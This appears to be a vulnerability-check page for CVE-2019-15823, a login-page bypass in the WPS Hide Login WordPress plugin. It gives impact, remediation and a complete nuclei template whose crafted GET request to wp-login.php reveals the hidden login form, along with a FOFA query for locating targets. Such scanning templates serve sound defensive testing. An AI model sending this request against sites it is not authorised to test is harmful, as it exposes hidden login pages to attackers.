WPS Hide Login <= 1.5.2.2 - Login Page Bypass

highseverity

8.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WPS-Hide-Login plugin before 1.5.3 for WordPress contains an action=confirmaction protection bypass, letting attackers bypass security checks, exploit requires sending crafted requests.

Impact

Attackers can bypass login protection, potentially leading to unauthorized access.

Fix

Update to version 1.5.3 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains in response "wps-hide"
Send: GET {{BaseURL}}/wp-login.php?SECUPRESSaction=confirmaction
Positive when: status_code == 200 and contains(body, 'Username or Email Address</label>') and contains(body, 'wp-login-lost-password')

Run it with nuclei: nuclei -id CVE-2019-15823 -u <target>

The full check

id: CVE-2019-15823

info:
  name: WPS Hide Login <= 1.5.2.2  - Login Page Bypass
  author: pussycat0x
  severity: high
  description: |
    WPS-Hide-Login plugin before 1.5.3 for WordPress contains an action=confirmaction protection bypass, letting attackers bypass security checks, exploit requires sending crafted requests.
  impact: |
    Attackers can bypass login protection, potentially leading to unauthorized access.
  remediation: |
    Update to version 1.5.3 or later.
  reference:
    - https://web.archive.org/web/20230601185557/https://secupress.me/blog/wps-hide-login-v1-5-2-2-multiples-vulnerabilities/
    - https://web.archive.org/web/20230711062924/https://wpscan.com/vulnerability/9469/
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/wp-content/plugins/wps-hide-login"
    vendor: wpserveur
    product: wps-hide-login
  tags: cve,cve2019,wordpress,wp-plugin,wp,disclosure,wps-hide-login,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    matchers:
      - type: word
        part: response
        words:
          - "wps-hide"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php?SECUPRESSaction=confirmaction"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Username or Email Address</label>')"
          - "contains(body, 'wp-login-lost-password')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from